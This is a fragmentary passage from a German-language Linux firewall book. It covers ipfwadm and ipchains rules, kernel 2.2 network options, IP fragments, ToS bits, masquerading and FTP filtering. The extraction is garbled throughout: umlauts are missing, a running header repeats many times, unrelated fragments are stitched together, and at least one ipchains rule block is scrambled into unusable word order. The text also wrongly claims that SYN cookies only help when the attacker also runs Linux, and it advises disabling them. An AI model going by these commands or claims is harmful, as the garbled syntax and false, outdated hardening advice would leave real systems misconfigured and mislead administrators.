# accept conect from client to internet #ipfwadm -O -a accept -P tcp -S 0/0 1024:65535 -D 0/0 -W $INTERFACE #ipfwadm -I -a accept -P tcp -D 0/0 1024:65535 -S 0/0 -k -W $INTERFACE # deny, last match #ipfwadm -I -a deny -P tcp -S 0/0 -D 0/0 -W $INTERFACE #ipfwadm -I -a deny -P udp -S 0/0 -D 0/0 -W $INTERFACE # default accept #ipfwadm -I -p accept -W $INTERFACE #ipfwadm -O -p accept -W $INTERFACE /sbin/route add default gw $REMOTEIP dev $INTERFACE # maybe you want to start mail services: # set follow variables in /etc/rc.config # SENDMAIL_TYPE="yes" # SENDMAIL_SMARTHOST="<ISP-mailserver>" # SENDMAIL_ARGS="-bd -om" # SENDMAIL_EXPENSIVE="yes" # SENDMAIL_NOCANONIFY="yes" #/usr/sbin/sendmail -q & #/usr/bin/fetchmail -a -v >>/var/log/fetchmail 2>&1 & ;; ip-down) # restart interface /sbin/ifconfig $INTERFACE down # workaround due to kernel problem with 'kernd': sleep 1 /sbin/ifconfig $INTERFACE $IFCONFIG # flush, del all rules #ipfwadm -I -f #ipfwadm -O -f # set routes from /etc/route.conf test -z "$DEST" || /sbin/route add -host $DEST dev $INTERFACE test -z "$DEFAULT" || /sbin/route add default gw $DEFAULT ;; *) ;; esac ;;
ppp*) # Analog-PPP, add commands if you need... ;; *) # dont know... ;; esac Wer noch mchte, da seine E-Mail gleichzeitig aus einem Sammelaccount von einem POP3 Server im Internet abgeholt und verteilt wird, der mu noch eine weitere Zeile fetchmail -a -v in der Datei /etc/ppp/ip-up und die Konfigurationsdatei des fetchmail Programmes /root/.fetchmailrc anpassen. Nun mu nur noch der SQUID Dmon gestartet werden, und fertig ist der Firewall-Router mit PROXY-Cache. Wer darber hinaus auch noch den ganzen Router ber ein komfortables WWW-Interface administrieren knnen mchte, und fr die unterschiedlichen User Internet-Sites sperren oder freigeben mchte, der sollte sich nach WEBMIN umschauen. Wer WEBMIN auf deutsch installieren mchte, der mag sich auf http://little-idiot.de umschauen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Einsatz von Netzwerkkarten mit zu kleinem ARP Cache bemerkbar. GRE tunnels over IP (Kernel 2.2) erlauben das Tunneln von IPv6 CISCO Router Informationen ber IPv4. Da diese Pakete (IPv6 oder IPv4) nicht gefiltert werden knnen, ist entweder die Option auszuschalten, oder man mu IPSec Protokolle einsetzen. GRE broadcast over IP erlaubt es, CISCO Broadcast Protokolle ber LINUX Router hinweg zu transportieren. Mit aktivierten GRE Einstellungen kann man mit LINUX Unternehmen vernetzen, und dafr sorgen, da alle CISCO Router weiterhin untereinander kommunizieren knnen, z.B. fr die berwachung einer Security Policy unternehmensweit. IP: tunneling erlaubt nach dem SUN Standard IPoverIP Pakete zu versenden. Damit kann man ber eine ISDN Standleitung Netzwerke miteinander verbinden. Multicast Routing ist eine interessante Einstellung. Wenn die Pakete zulassen werden, knnen IP-Pakete an Hosts im Netzwerk adressiert werden, indem diese in Multicast Pakete verpackt werden. Diese Pakete werde teilweise schon in den Netzwerkkarten mit voller Hardwareuntersttzung geroutet (DEC, SMC, HP, WAVELAN). Diese Option sollte entweder ausgeschaltet werden, oder sie erfordert den Einsatz einer zweiten Firewall im Intranet, welche Multicast Pakete unterbindet, jedoch die in der ersten Firewall entpackten IP-Pakete (Video/Musik) zu den Hosts im Intranet weiterleitet und berprft. Auch dies ist ein Grund, warum gute Firewall - Konstruktionen immer aus zwei Firewalls bestehen mssen. Wer nur eine Firewall einsetzt, der sollte Multicasting unter allen Umstnden ausschalten, da ansonsten Angreifer mit IPoverIP Paketen zu Servern hinter der Firewall durchdringen knnen. Die Option IP: equal cost multipath erlaubt es, fr Subnetze getrennte Routen einzutragen. Damit knnte es Probleme bei SOURCE ROUTED PAKETS geben. Abschalten. IP: verbose route monitoring unbedingt anschalten. Man erhlt wertvolle Informationen ber das Routing (nur wenn man mehrere Netzwerkkarten (>2) betreibt, natrlich) Die Option IP:firewall packet netlink device dient dazu, die Statusinformationen beim Einsatz von IPCHAINS auszulesen, um z.B. counter intelligence Manahmen zu ergreifen. Siehe hierzu auch den entsprechenden Abschnitt bei der SINUS Firewall. Diese Option kann auch dazu verwendet werden, Pakete fr bestimmte Netze an ein Device zu bergeben, wo sie z.B. verschlsselt oder gefiltert werden knnen. Auch als Monitor ist diese Option verwendbar, z.B. mit TCPDUMP. Abschalten. IP: Always defragment ist obligatorisch immer einzuschalten, da ansonsten Angriffe mit Fragment-Offsets drohen. Auch Masquerading funktioniert nicht ohne diese Option. IP: Transparent PROXY ist soweit ok, sofern nicht spezielle Protokolle, wie z.B. FTP, SSL-3 oder Real-Video eingesetzt werden. Diese funktionieren natrlich nicht. Siehe Abschnitt ber Protokolle. IP: Masquerading wird unweigerlich mit der Option IP: fast network address translation kollidieren. NAT ist eine Adaption von N:M Hosts, Masquerading eine Adaption von 1:M Hosts. Da Masquerading mehr spezielle Protokolle untersttzt, sollte man Masquerading gegenber NAT bevorzugen. IP: FAST NETWORK ADDRES TRANSLATION ermglicht es, M interne Hosts auf N externen Hosts abzubilden. Hierbei ist M<=N. Es erfolgt eine automatische bersetzung von IP-Adressen. Diese Option schtzt vor nichts, kann aber ganz praktisch sein, weil man nicht alle Clients umkonfigurieren mu, wenn man z.B. verschiedene Netzwerke (auch das Internet) ber
q q
eine Standleitung anbindet. IP: ICMP masquerading untersttzt masquerading fr ICMP Protokolle, wie z.B. PING. Abschalten, insbsondere beim Einsatz von LINUX als ISDN Router, da ansonsten LINUX hufiger als ntig die Verbindung aufbaut. IP: ipautofw masquerade support erlaubt masquerading fr Protokolle, wie z.B. PPTP, fr die es keine offizielle Untersttzung gibt. Abschalten. IP: ipportfw masquerade support erlaubt allgemein das forwarding von Paketen ber Netzwerkkarten hinweg. Abschalten. IP: ipmarkfw masquerade support erlaubt das forwarding von Paketen mit Masquerading z.B. auch fr Subnetze. Hierzu mu die Option IP: use FWMARK aktiviert sein. Abschalten. IP: Kernel level autoconfiguration sollte ausgeschaltet werden, da ansonsten jemand von auerhalb die ARP-Tabellen einsehen kann. (Etwas tricky, aber es geht) Syn cookies sollte man ausschalten, zumal diese einen Angriff nur dann verhindern, wenn der Angreifer mit LINUX und aktivierten SYN Cookies arbeitet. Ansonsten sind diese fr DoS anfllig. IP: Drop source routed frames sollte obligatorisch eingeschaltet sein. Allow large windows erlaubt einen DoS Angriff in schnellen Netzwerken (grer nx100 MBit), ansonsten ist dagegen nichts zu sagen, die Performance wird erhht. Bridging sollte unbedingt ausgeschaltet werden, da ansonsten die Pakete nicht mehr gefiltert werden. Forwarding between high speed interfaces ist hnlich dem fast switching, allerdings mit Kontrolle ber Bandbreiten. Diese Option sollte vorsichtshalber ausgeschaltet bleiben, da noch keine Erfahrungen vorliegen. Das Problem mit Jumbo Frames ist hier kritisch. IP: use TOS ist eine Option, die es erlaubt, dynamisch Bandbreiten in Anhngigkeit des Protokolls zu regeln und z.B. das Routing dementsprechend anzupassen. Dies birgt immer die Gefahr, da asymmetrische Routen auftauchen, welche in Firewalls zu Fehlermeldungen fhren knnen. Ansonsten ist hiergegen nichts einzuwenden, besonders nicht, wenn man nur mit 2 Netzwerkadaptern arbeitet. (2 sind immer gut, 3 ist immer einer zuviel) LOADABLE Module Support ist immer auszuschalten, da eventuell jemand z.B. einen buffer overflow Attack im Appletalk Treiber entdecken knnte. Dann bruchte er nur ein Appletalk Paket an die Firewall zu senden, diese wrde den Treiber dynamisch laden - den Rest kann man sich denken. Bei schnellen GIGABIT Netzwerk-Adaptern besteht immer das Problem von Windows Oversize/Large Windows. Man sollte hier entsprechend vorsichtig sein. socket filtering ermglicht es Usern, eigene Filter zu starten....Ausschalten.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
verndert wurde. Stimmt die Prfsumme nicht, so wird das Paket abgelehnt. Sanity: Hier werden die sehr wichtigen berprfungen auf Pakete mit besonderen Flags im Header durchgefhrt, die eventuell die korrekte Abarbeitung der Firewall-Regeln verhindern knnten. (IPFragmente). Falls dieser Fall eintreten sollte, wird eine Nachricht an den SYSLOGD bergeben. input chain: Hier werden zum ersten male die Pakete anhand von Filterregeln getestet. Pakete werden hier zurckgewiesen oder verworfen. Demasquerade: Hier werden maskierte Pakete, also Pakete, die von einem Host im Intranet stammen, und deren Absender in denjenigen der Firewall umgestempelt wurde, und deren Antwort nun eintrifft, korrekt zugeordnet und weitergeleitet. Dies dient dem Verdecken der internen Netzwerk - Adressen. Wenn kein Masquerading aktiviert worden ist, ist diese Routine deaktiviert. Routing decision: Die Zieladresse wird von der Routing Unterroutine untersucht. Hierbei entscheidet sich, an welchen output chain das Paket bergeben wird. Local process: Hier kann das Paket von einem Programm entgegen genommen und weiterverarbeitet werden. An dieser Stelle kann z.B. ein Proxy oder hnliches zur weiteren Filterung der Pakete installiert werden. Danach wird das Paket an die output chain bergeben. lo interface: Falls Pakete eines lokalen Programms an einen anderes Programm bergeben werden mssen, dann sind diese an das Interface lo, welches das loopback Interface ist, bergeben. Fr diese Interface existiert also auch eine input chain, welche Ausgaben eines Programmes wieder an den Kernel zwecks Weiterleitung bergeben kann. local: Wenn ein Paket nicht von einem lokalen Programm erzeugt wurde, dann wird dieses an die forward chain bergeben, ansonsten wird das Paket an die output chain direkt bergeben. forward chain: Diese chain mu von jedem Paket durchlaufen werden, welches von einem Interface kommend, an ein anderes weitergeleitet werden mchte. output chain: Hier werden nochmals alle Pakete gefiltert, bevor sie das Interface verlassen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Existieren mehrere gleichlautende Regeln in der chain, so wird nur die erste Regel gelscht, als vorsicht mit dem mehrfachen Aufruf von Skripten.
Filter Spezifikationen
Es wurden bisher nur die Optionen -p und -s eingefhrt. Um auch Dienste auf Port- Ebene filtern zu knnen, sind zustzliche Angaben notwendig. Genau hierum dreht sich dieses lngere Kompendium.
:1023 fr ein Paket, welches als Quellport einen Port unterhalb von 1024 eingetragen hat. Auch hier knnen die Portbereiche invertiert werden. Das Beispiel: -p TCP -d 0.0.0.0/0 ! www bezeichnet alle Ports, die nicht Port 80 entsprechen. Man sollte auch stets auf die Position des Ausrufezeichens achten. Die Bezeichnung -p TCP -d ! 192.168.1.1 www unterscheidet sich von -p TCP -d 192.168.1.1 ! www Das erste Beispiel bezeichnet ein Paket, welches an alle Hosts auf Port 80, auer dem bestimmten Host adressiert werden darf. Im zweiten Fall darf nur dieser Host adressiert werden, aber nicht auf Port 80. Zum Schu bleibt noch die Klrung folgender Bezeichnung: -p TCP -d ! 192.168.1.1 ! www Dieses bezeichnet ein Paket, welches an alle Hosts auer dem bestimmten Host adressiert werden darf, und dort auf alle Ports zugreifen darf, auer dem Port 80. Generell gilt, da alle Angaben, die hintereinander erfolgen, ein logisches und implizieren.
Keinesfalls sollten alle ICMP Pakete in Firewalls gesperrt werden. Der Code Nummer 3, destination unreachable ist ein unentbehrliches Hilfsmittel fr korrektes Routing. Es knnten so eventuell Leitungen berlastet werden, insbesondere ISDN.
FTP-Verbindung die Daten entfhren, so wird dies von der Firewall unterbunden. Der Angreifer mu also noch erhebliche Mhen investieren. Die Firewall htte den Entfhrungsversuch dann aber bereits registriert.
IP-Fragmente
In vielen Fllen ist ein Paket zu gro, um direkt von dem Interface aufgenommen werden zu knnen. Daher wird es in kleine Fragmente aufgeteilt und versendet. Am anderen Ende mssen diese Fragmente wieder zusammengesetzt, also reassembliert werden, wie es in Fachsprache heit. Es gibt eine Reihe von Angriffsvarianten, die auf verschachtelten, IP-Fragmenten mit verschiedenen Offsets beruhen. Um diese Angriffe zu verhindern, ist es unerllich, da der der Kernel diese IP-Fragmente vor der Weiterleitung an die Filter vollstndig reassembliert. Bei der Kompliation des Kernels ist also beim Aufbau einer Firewall strengstens darauf zu achten, da die Option: IP: always defragment aktiviert wird. Beim Einsatz als Router oder Switch wird sich diese Option negativ auf die Performance aus. Dieser Tatsache wird in den Filterregeln Rechnung getragen. Das erste Fragment trgt den Header mit allen Informationen ber IP-Adresse, Ports, Flags, Protokoll.....Alle weiteren Pakete sind fr die Firewall nicht zuzuordnen und werden daher generell abgelehnt. Falls es also Probleme mit der bertragung von Paketen kommt, ist die fehlende Defragmentierung auf der IP-Ebene die Ursache. Es ist aber mglich, mit Hilfe des -f flag Regeln fr TCP Pakete ohne SYN-Flag das Passieren der Firewall zu erlauben. Dies kann insbesondere dann der Fall sein, wenn die Firewall als Router oder als Firewall-Switch eingesetzt wird. Eine Invertierung mit dem Ausrufezeichen ist fr die Option -f erlaubt. Short Frames, oder auch malformed packets werden vom Kernel als Fragmente behandelt. Diese knnen auch bei defekten Netzwerkkarten auftreten. Hier werden Logeintrge vorgenommen, also Vorsicht bei der Interpretation dieser Eintrge. Folgendes Beispiel beschreibt eine Firewallregel, die alle Fragmente verwirft, die als Zieladresse die interne IP - Nummer 192.168.1.1 beinhalten.
ipchains -A output -f -D 192.168.1.1 -j DENY Pakete, die ber groe Strecken aus dem Internet an z.B. die Firewall herangetragen werden, sind hufig fragmentiert. Pakete aus der unmittelbaren Nhe sind niemals fragmentiert. Ein Angreifer, der sein Glck mit verschachtelten Fragmenten versucht, wird aus Grnden des exakten Timings immer versuchen, diese von einem Host aus nchster Nhe zu generieren, z.B. direkt von dem Bastion host in der DMZ. Aufgrund der Zuordnung IP-Adresse zu fragmentierten Paketen lt sich direkt ablesen, ob ein solcher Angriff stattfindet, oder ob es nur ein gewhnliches Paket aus dem Internet ist. Zugegeben, die Erstellung der Regeln ist nicht gerade trivial, aber es ist unerllich, diese Angriffsmethoden zu kennen, wenn man es mit Profis zu tun bekommt.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Regel - Anweisungen
Die Regel Anweisungen sind fr den Kernel bestimmt, damit dieser darber informiert ist, was mit dem Paket zu geschehen hat, auf welches eine Regel zutrifft. ipchains benutzt hierbei die Option -j (jump-to) fr die Angabe einer Ziels. Der Name des Ziels darf nur max. 8 Buchstaben lang sein, wobei Gro-und Kleinschreibung unterschieden wird. Die Einfachste Anweisung ist diejenige, wo kein Ziel angegeben wird. Diese wird oft auch accounting rule genannt, weil sie nur zum Zhlen von Paketen, dem Accounting geeignet ist: ipchains -A input -s 192.168.1.1 Diese Regel zhlt alle Pakete von dem Host 192.168.1.1 mit. Der Befehl ipchains -L -v zeigt die Summe von Bytes und Paketen an, die das Interface passiert haben, nachdem die Regel zutreffend war. Es lt sich somit nach Port, Zieladresse und Quelladresse das Datenaufkommen zhlen. Es gibt sechs spezielle Anweisungen. Die ersten drei sind bereits bekannt, diese sind ACCEPT, REJECT und DENY. ACCEPT besagt, das das Paket passieren kann. DENY verwirft das Paket in aller Stille, REJECT verwirft das Paket ebenso, generiert aber eine ICMP Nachricht, Code Nummer 3. Die vierte ist die Anweisung MASQ. Sie beauftragt den Kernel, die Absendeadresse, also die Quell IP Nummer durch die IP - Nummer des eingehenden Interfaces zu ersetzen. Hier zu mu der Kernel mit der Option masquerading kompiliert worden sein. Fr die genaue Beschreibung siehe den Abschnitt Unterschiede zwischen ipchains und ipfwadm. Diese Anweisung ist nur zulssig fr Pakete, die die forward chain durchlaufen. Der Zweck dieser Regel ist es, interne IP - Nummern nicht in das Internet zu verraten, um einem Angreifer mglichst wenig Informationen ber die Zahl und den Ort der Hosts im Intranet zu verraten. Die fnfte Anweisung ist die Option REDIRECT. Diese besagt, da der Kernel das Paket auf einen
lokalen Port umleiten soll. Diese Anweisung wird nur fr TCP und UDP Pakete ausgefhrt. Als Ergnzung kann nach der Regel -j REDIRECT ein Port angegeben werden, auch wenn das Paket an einen anderen Port weitergeleitet wurde. Diese Anweisung kann nur in der input chain verwendet werden. Sinnvoll kann diese Option zur Umleitung von Paketen auf Port 80 auf einen Proxy-Server auf Port 8080 sein. Bei UDP Paketen knnen diese an den UDP nach TCP Umsetzer (udprelay) bergeben werden, um Protokolle, wie NFS, NIS/YP sicherer gegen Angriffe zu machen. Diese Option kann auch auf Filter zeigen, die auf der Firewall installiert wurden, um JAVA und Active-X aus dem Datenstrom herauszufiltern, ohne auf einen Proxy verzichten zu mssen, quasi als Kaskade von Proxy und Filter. Bitte beachten: Diese Option funktioniert zuverlssig nur mit der Kernelversion 2.2 . Ein Update von RedHat Linux 5.2 auf die neue Kernelversion ist aber problemlos. Updates und Patches findet man auf den Seiten von RedHat. Zum Schlu kommt die Anweisung RETURN. Diese Anweisung besagt, da alle folgenden Regeln ber gangen werden knnen. Weitere Details in dem Abschnitt Aufsetzen der Policy. Alle weiteren Anweisungen, die nicht diesen sechs entsprechen zeigen auf eine User definierte Regel. Die Bedeutung dieser Anweisungen wird in Anweisungen, die auf eine chain wirken. Das Paket wird alle Regeln in der chain durchlaufen, bis sich eine Regel findet, die beschreibt, was mit dem Paket geschehen soll. Dieses Beispiel zeigt Regeln, die keinen Sinn ergeben: input ---------------------------| Rule1: -p ICMP -j REJECT | |--------------------------| | Rule2: -p TCP -j Test | |--------------------------| | Rule3: -p UDP -j DENY | ---------------------------test ---------------------------| Rule1: -s 192.168.1.1 | |--------------------------| | Rule2: -d 192.168.1.1 | ----------------------------
Man denke sich ein TCP Paket, welches als Quell-IP - Nummer die Adresse 192.168.1.1 besitzt und an die Adresse 1.2.3.4 gerichtet ist. Es betritt die input chain, und wird von Regel Nummer 2 als Zutreffend erkannt. Danach wechselt es zur test chain. Hier trifft die Regel Nummer 1 bereits zu, aber es ist keine Anweisung definiert. Danach durchluft das Paket die test chain bis zum Ende und kehrt wieder in die input chain zurck. Hier passiert das Paket die Regel Nummer 3, die aber ebenfalls nicht zutrifft. Was danach mit dem Paket passieren soll, beschreibt die Policy. Ein kleines Diagramm: v __________________________ `input' | / `Test' v ------------------------|--/ -----------------------|---| Rule1 | /| | Rule1 | | |-----------------------|/-| |----------------------|---| | Rule2 / | | Rule2 | | |--------------------------| -----------------------v----
| Rule3 /--+___________________________/ ------------------------|--v In dem Abschnitt Organisation der Firewallregeln werden Wege beschrieben, wie man User definierte chains effizient einsetzen kann.
Logging packets.
Ein Nebeneffekt der Paketfilterung ist das Mitloggen von Paketen, falls die Regel mit der Option -l definiert wurde. Nun werden alle Pakete mit protokolliert. Hierfr mu der Kernel Log-Dmon aktiviert werden (klogd). In den Handbchern man klogd oder man dmesg werden die Eigenschaften genauer beschrieben.
Manipulationen im Paket-Header
Es gibt insgesamt vier selten gebrauchte Bits in dem Paket-Header, die Type of Service ToS-Bits genannt werden. Sie beeinflussen die Art, wie Pakete behandelt werden. Die vier Bits beschreiben folgende Funktionen: q Minimum Delay q Maximum Throughput q Maximum Reliability q Minimum Cost Es darf laut Definition nur eines der Bits gesetzt sein. Der Autor des Code Abschnittes beschreibt seine Eigenschaften so: Besonders das Flag "Minimum Delay" ist fr mich besonders wichtig. Ich schalte es ein, um "interaktive" Pakete in meinem Upstream von dem Linux Router zu handeln. Ich selber habe nur ein 33k6 Modem. Linux gibt den Paketen in drei verschiedenen Queues besondere Prioritten. So bekomme ich auch noch whrend eines Downloads noch akzeptable Antwortzeiten fr interaktive Dinge. Die Performance knnte ein wenig besser sein, wenn da nicht eine so groe Queue in dem Treiber fr die serielle Karte wre, aber die Latenzzeiten sind nun nur noch im Bereich von 1.5 Sekunden. Allgemein behindern sich telnet und ftp Datenstrme aufgrund ihrer unterschiedlichen Bits. Whrend FTP Datenstrme stets auf maximalen Durchsatz ausgelegt sind, ist telnet auf minimale Verzgerungszeiten ausgelegt. Um beides unter einen Hut zu bekommen, sollten folgende Regeln eingesetzt werden. ipchains -A output -p tcp -d 0.0.0.0/0 telnet -t 0x01 0x10 ipchains -A output -p tcp -d 0.0.0.0/0 ftp -t 0x01 0x10 ipchains -A output -p tcp -s 0.0.0.0/0 ftp-data -t 0x01 0x08 Der Option -t folgen zwei zustzliche Parameter, die beide in hexadezimaler Schreibweise angegeben sind. Sie erlauben es, mit den TOS Bits zu spielen. Die erste Maske wird mit den TOS Bits in dem Paket
ber AND verknpft, whrend die zweite Maske mit den TOS Bits ber XOR verknpft sind: TOS Name Minimum Maximum Maximum Minimum Delay Throughput Reliability Cost Value 0x01 0x01 0x01 0x01 0x10 0x08 0x04 0x02 Typical Uses ftp, telnet ftp-data snmp nntp
Andi Kleen hat deren Einsatz so beschrieben: Es knnte sinnvoll sein, einen Parameter zu dem TX Queue Lngenparameter in ifconfig hinzuzufgen, und diesen um die TOS Bits noch zu erweitern. Die Standardmige Lnge der Queue kann fr Ethernet Karten noch getuned werden, fr Modems ist dieser viel zu lang und das macht ihn fr den 3-Wege Scheduler unbrauchbar. (Dessen Queues auf TOS basieren) Eine gute Idee ist es , diesen auf Werte zwischen 4 und 10 auf einem Modem oder einer ISDN-Karte zu setzen: Bei Kanal - Bndelung ist eine grere Queue ntig. In den Kerneln 2.1 (und 2.2) ist es ein ifconfig Flag, was gesetzt werden mu (mit den aktuellen nettools), in Versionen 2.0 erfordert es einen Kernel Patch, um die Werte zu ndern. Soweit die Hinweise auf die TOS Manipulationen fr Modem und ISDN Verbindungen. Hierzu mu nur die Syntax in dem /etc/ppp/ip-ip Skript in ifconfig $1 txqueuelen verndert werden. Die einzusetzende Zahl hngt ganz von der Anwendung und der Modemgeschwindigkeit ab. Um das bestmgliche Ergebnis zu erzielen, mu man ein wenig herum experimentieren. Wenn die Queues zu klein sind, dann werden die Pakete verworfen. Natrlich hngen die Resultate auch davon ab, ob die Anwendungsprogramme auch ohne TOS nderungen kooperieren. In dem Fall, da sie nicht kooperieren, sind nderungen bei den TOS Flags ntig. (alle mit Linux mitgelieferten Programme sind aber kooperierend) Diese Art Tuning ist als Aprilscherz 99 von der Zeitschrift ct beschreiben worden. Tatschlich ist hier aber auch ein Funken Wahrheit dran. Man kann seinem WWW-Server bei einem Provider so erhebliche Prioritt vor benachbarten Servern geben, insbesondere wenn diese mit in ein- und derselben Collision Domain stehen. In vielen Fllen werden ausgehende Datenpakete von diesem Server von CISCOs vorrangig geroutet.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
destination anywhere
ports any
destination anywhere
ports any
Der refcnt, der in test angezeigt wird, ist die Zahl der Regeln, die test als Anweisung angegeben haben. Diese Zahl mu
NULL sein, bevor eine chain gelscht werden kann. Wenn keine Name der chain angegeben wird, werden alle chains, darunter auch die leeren chains, angezeigt. Es gibt drei Optionen, die zusammen mit -L aufgerufen werden knnen. Die Option -n (numeric) ist sinnvoll um ipchains daran zu hindern die IP - Nummer aufzulsen, welche bei jedem Zugriff lange Wartezeiten verursachen kann, falls der DNS-Server nicht im caching mode arbeitet. Im schlimmsten Falle kostet es Telefongebhren. Der Nachteil ist, da die Ausgabe in Logfiles mit IP - Nummern erfolgt. Die Option -v zeigt alle Details der Regel, darunter auch die Paket- und Byte-Zhlerstnde, die TOS Bits, das Interface und die Paketmarkierungen. # ipchains -v -L input Chain input (refcnt = 1): (policy ACCEPT) pkts bytes target prot opt tosa tosx ifname mark source destination ports 10 840 ACCEPT icmp ----- 0xFF 0x00 lo anywhere anywhere any Die Paket- und Bytezhler benutzen die Anhnge K, M, G als Abkrzungen fr 1000, 1 Million und 1 Gigabyte. Die Option -x gibt die echten Zahlen aus, unabhngig davon, wie gro diese sind.
0 #
0 DENY
ppp0
Optionen fr Masquerading
Es gibt fr Masquerading einige anwendbare Parameter. Sie werden zusammen mit ipchains ausgefhrt, weil es nicht notwendig ist, hierfr ein neues Toolkit zu benutzen. Der Befehl zur Aktivierung von Masquerading ist -M, der mit der Option -L kombiniert werden kann, um eventuell gerade maskierte Verbindungen anzuzeigen, oder mit -S, um die Parameter neu zu setzen. Die Option -L kann mit -n kombiniert werden, um nur IP - Nummern anzuzeigen, oder mit der Option -v, um die Abstnde der Sequenznummern (SSN) der TCP Pakete (Seriennummer der TCP Pakete, damit diese nach eintreffen richtig einsortiert werden knnen) Der Option -S sollten drei Timeout Werte folgen, jede in Sekunden angegeben: Fr einfache TCP Verbindungen, fr TCP Verbindungen nach eintreffen eines FIN-Paketes, und fr UDP Pakete. Um die Default Einstellungen zu verwenden, kann stets eine Null angegeben werden. Die Defaultwerte sind in der Datei /usr/include/net/ip_masq.h, die auf 15 Minuten, 2 Minuten und 5 Minuten eingestellt sind. Der allgemein am Meisten genderte Wert ist der erste, insbesondere fr FTP Verbindungen. Siehe auch FTP Probleme. Die Problematik mit Timeout - Werten wird auch in dem Anschnitt Kann keine Timeouts fr Masquerading setzen !.
packet accepted # Es sollte stets auch nicht vergessen werden, alle Quellports durchzuprobieren, um sicherzugehen, da sich kein trojanisches Pferd eingeschlichen hat, wie zuletzt im TCP Wrapper (kleine Anmerkung....)
* -> * ->
* *
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
# ipchains -A ppp-in -s 192.168.1.0/24 -l -j DENY # Vom Linux Host selber sollen Anfragen an DNS-Server im Internet erlaubt werden. Ich betreibe einen caching nameserver, der alle Anfragen an den DNS-Server des Providers richtet. Also erwarte ich DNS-Antworten von diesem Host (und nur von diesem), eingehende FTP Pakete (nur Antwortpakete, die auf Ports oberhalb von 1023 eintreffen, aber nicht die X-Windows Ports (6000+) belegen): # # # # # ipchains ipchains ipchains ipchains -A -A -A -A ppp-in ppp-in ppp-in ppp-in -p -p -p -p UDP TCP TCP TCP -s -s -s -d 203.29.16.1 -d $LOCALIP dns -j ACCEPT 0.0.0.0/0 ftp-data -d $LOCALIP 1024:5999 -j ACCEPT 0.0.0.0/0 ftp-data -d $LOCALIP 6010: -j ACCEPT $LOCALIP ftp -j ACCEPT
Zum Schlu erlaube ich alle Pakete vom Host an den Host selber, damit alle Programme, wie X-Windows, SMTP, PING....auch korrekt laufen: # ipchains -A input -i lo -j ACCEPT # Nun fge ich die default policy fr die input chain hinzu. Diese ist DENY, soda alle Pakete verworfen werden: # ipchains -P input DENY # Anmerkung: Ich wrde die chains nicht in dieser Reihenfolge aufsetzen, da ansonsten Pakete die Firewall passieren knnten, whrend des Setups der Regeln. Also sollte man zuerst die Policy festlegen, und danach die Regeln und chains aufsetzen......Jedoch knnte dies zu Problemen fhren, wenn ipchains beim Aufsetzen der Regeln DNS Lookups ausfhren mu, um die Hostnamen aufzulsen.
dann wird der User gefragt, ob die bestehenden Regeln gelscht werden sollen, oder nicht. Wenn die Option -f an der Befehlszeile mit angegeben wird, dann wird die chain gelscht. Um dieses Skript laufen zu lassen, mu man als root eingeloggt sein. Beispiel: # ipchains-restore < my_firewall Restoring `input'. Restoring `output'. Restoring `forward'. Restoring `ppp-in'. Chain `ppp-in' already exists. Skip or flush? [S/f]? s Skipping `ppp-in'. Restoring `ppp-out'. Chain `ppp-out' already exists. Skip or flush? [S/f]? f Flushing `ppp-out'. #
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
12.13 Verschiedenes
In diesem Abschnitt befinden sich alle Informationen und hufig gestellten Fragen, die nicht in die oberen Abschnitte passen.
FTP Probleme
Das klassische Problem beim Filtern von FTP ist, da FTP zwei vllig unterschiedliche Modi besitzt, active mode und passive mode, auch PASV genannt. WWW-Browser melden sich standardmig im passiven Modus an. Da FTP ber einen Steuer und einen Datenkanal (Port 20+21) die Daten austauscht, ergeben sich gewisse Probleme. Im aktiven Modus versucht der Server, zu dem Client aktiv eine Verbindung fr den Datenkanal aufzubauen. Die Firewall kann diesen Vorgang nicht erlauben, ohne Ports oberhalb von 1024 komplett frei zu schalten. Im passiven Modus bestimmt der Client beide Kanle, also fr den Verbindungs - und den Datenkanal. Damit nicht aus versehen ein Port fr X-Windows angesprochen wird, sind die Ports zwischen 6000 und 6010 zu sperren.
Die nderungen: # ipchains -D input 1 # ipchains -D output 1 # ipchains -D forward 1 # Wenn sich die nderungen auf eine einzige chain beziehen, dann sollte eine neue chain mit neuen Regeln angelegt werden, und dann diejenige Regeln in der input (oder anderen) chain gendert werden, so da sie nun auf die neue chain zeigt.
Die allgemeine Variante, spoofing vom Linux Kernel Routing Code zu aktivieren, ist die bessere, weil bei der nderung der Netzwerkadresse die Firewallregeln nicht gendert werden mssen. Fr den Kernel Version 2.0 mu explizit noch eine anti spoofing Regel implementiert werden. # ipchains -A input -i ! lo -s 127.0.0.0/255.0.0.0 -j DENY #
Weitere Projekte
Paul Russel, der diese Anleitung im Original verfat hat, hat eine Bibliothek fr Firewall- Erweiterungen geschrieben. Es basiert auf den Filtern im Firewall-Kernel und ermglicht die Implementierung von Filtern mit User-Rechten. Diese Bibliothek heit libfw Dinge, wie stateful inspection, oft auch als dynamic firewalling bezeichnet, knnen mit dieser Bibliothek als Userdmon ausgefhrt werden. Die Fhigkeiten, Pakete zu markieren, wird von den kommerziellen Firewalls zumeist nicht richtig untersttzt. Unter LINUX kann so ein Quality of Service Dienst realisiert werden. Dieses ist bereits im Kernel untersttzt. Weitere Hinweise sind in der Dokumentation des Kernel-Codes zu finden.
Zuknftige Erweiterungen
Es existiert eine NAT Implementierung, offiziell ist diese aber fr die Version 2.4 erst verfgbar.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
ipfwadm -A [both]
